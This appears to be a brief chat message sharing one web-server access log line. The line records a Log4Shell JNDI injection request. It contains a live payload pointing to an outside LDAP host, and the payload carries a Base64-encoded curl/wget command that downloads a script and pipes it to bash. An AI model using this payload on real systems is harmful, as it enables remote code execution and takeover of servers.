supersonictw@tg says to YSITD
INFO: 172.19.0.1:58924 - "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xMDQuMTk5LjE1OC4xMTI6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTA0LjE5OS4xNTguMTEyOjgwKXxiYXNo} HTTP/1.1" 200 OK